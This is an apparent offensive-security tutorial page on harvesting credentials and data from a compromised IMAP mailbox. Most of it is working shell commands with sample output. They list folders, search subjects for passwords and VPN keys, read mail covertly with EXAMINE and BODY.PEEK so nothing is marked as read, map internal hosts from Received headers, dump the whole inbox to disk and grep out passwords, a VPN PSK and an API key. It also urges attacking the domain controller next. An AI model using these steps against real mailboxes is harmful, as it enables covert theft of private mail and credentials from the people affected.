Skip to content
HackIndex logo

HackIndex

IMAP Mailbox Data Harvesting

4 min read Mar 29, 2026

IMAP provides richer mailbox access than POP3 — multiple folders, server-side SEARCH, and non-destructive read-only access via EXAMINE. The approach is: list all folders, assess message counts, run server-side searches for high-value subjects, triage by headers, then fetch full bodies only for confirmed high-value messages. Always use EXAMINE instead of SELECT to avoid marking messages as read.

Connect and List All Folders

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 LIST \"\" \"*\"\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null 
a1 OK Logged in.
* LIST (\HasNoChildren) "." INBOX
* LIST (\HasNoChildren) "." Sent
* LIST (\HasNoChildren) "." Drafts
* LIST (\HasNoChildren) "." IT-Notifications
* LIST (\HasNoChildren) "." VPN-Credentials
a2 OK List completed.

Custom folder names like IT-Notifications and VPN-Credentials are immediate targets. Sent folders often contain outbound mail with internal system references and credentials shared between staff.

Get Message Counts Per Folder

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 STATUS INBOX (MESSAGES UNSEEN)\r\na3 STATUS Sent (MESSAGES)\r\na4 STATUS \"VPN-Credentials\" (MESSAGES)\r\na5 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep STATUS 
* STATUS INBOX (MESSAGES 47 UNSEEN 12)
* STATUS Sent (MESSAGES 312)
* STATUS VPN-Credentials (MESSAGES 3)

Server-Side Search for High-Value Subjects

IMAP SEARCH runs on the server — far faster than pulling all headers locally. Search by subject keyword across the mailbox:

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 SEARCH SUBJECT password\r\na4 SEARCH SUBJECT reset\r\na5 SEARCH SUBJECT credential\r\na6 SEARCH SUBJECT VPN\r\na7 SEARCH SUBJECT temporary\r\na8 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep SEARCH 
* SEARCH 3 14 27
* SEARCH 8
* SEARCH
* SEARCH 41
* SEARCH 3

Message IDs 3, 8, 14, 27, and 41 matched high-value subject keywords. Fetch headers for these specific messages before pulling full bodies:

Fetch Headers for Targeted Messages

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 3 BODY.PEEK[HEADER.FIELDS (FROM TO SUBJECT DATE)]\r\na4 FETCH 8 BODY.PEEK[HEADER.FIELDS (FROM TO SUBJECT DATE)]\r\na5 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null 
* 3 FETCH (BODY[HEADER.FIELDS (FROM TO SUBJECT DATE)] {142}
From: IT Support <[email protected]>
To: [email protected]
Subject: Your temporary password is ready
Date: Mon, 28 Mar 2026 09:00:00 +0000
)

Fetch Full Message Bodies

After header triage confirms high-value content, fetch full bodies for targeted message IDs using BODY.PEEK to preserve unseen status:

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 3 BODY.PEEK[]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -v '^\*\|^a[0-9]' 
From: IT Support <[email protected]>
Subject: Your temporary password is ready

Hi John,

Your temporary password is: TempP@ss2026!
Please log in at https://vpn.company.com and change it immediately.

Search Sent Folder for Outbound Credentials

The Sent folder often contains credentials shared via email between staff — passwords sent to new users, VPN keys, and API tokens:

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE Sent\r\na3 SEARCH SUBJECT password\r\na4 SEARCH SUBJECT credential\r\na5 SEARCH SUBJECT access\r\na6 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep SEARCH 
* SEARCH 12 45 67
* SEARCH 12
* SEARCH 45 89

Extract Internal Hostnames from Received Headers

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH 1 BODY.PEEK[HEADER.FIELDS (RECEIVED)]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -i received 
Received: from dc01.company.local (dc01.company.local [10.10.10.10])
Received: from mail01.company.local (mail01.company.local [10.10.10.50])

Internal hostnames and IPs from Received headers map infrastructure without scanning. dc01.company.local at 10.10.10.10 is a domain controller — test for Kerberos attacks and credential reuse immediately.

Save All Messages to Disk

For full offline analysis of a high-value mailbox, dump all messages from INBOX to local files:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/imap_dump/$USER/INBOX
┌──(kali㉿kali)-[~]
└─$ COUNT=$(printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep EXISTS | awk '{print $2}')
┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 $COUNT); do
printf "a1 LOGIN $USER $PASSWORD\r\na2 EXAMINE INBOX\r\na3 FETCH $i BODY.PEEK[]\r\na4 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null > /tmp/imap_dump/$USER/INBOX/msg_$i.eml
done
┌──(kali㉿kali)-[~]
└─$ echo "Saved $COUNT messages" 
Saved 47 messages
┌──(kali㉿kali)-[~]
└─$ grep -rh -iE 'password|passwd|token|api.?key|secret|vpn' /tmp/imap_dump/$USER/ | grep -v 'Content-Type\|boundary\|charset' 
Your temporary password is: TempP@ss2026!
VPN PSK: SuperSecretPSK2026
API Key: sk-prod-xK2aB1cD3eF4gH5i

References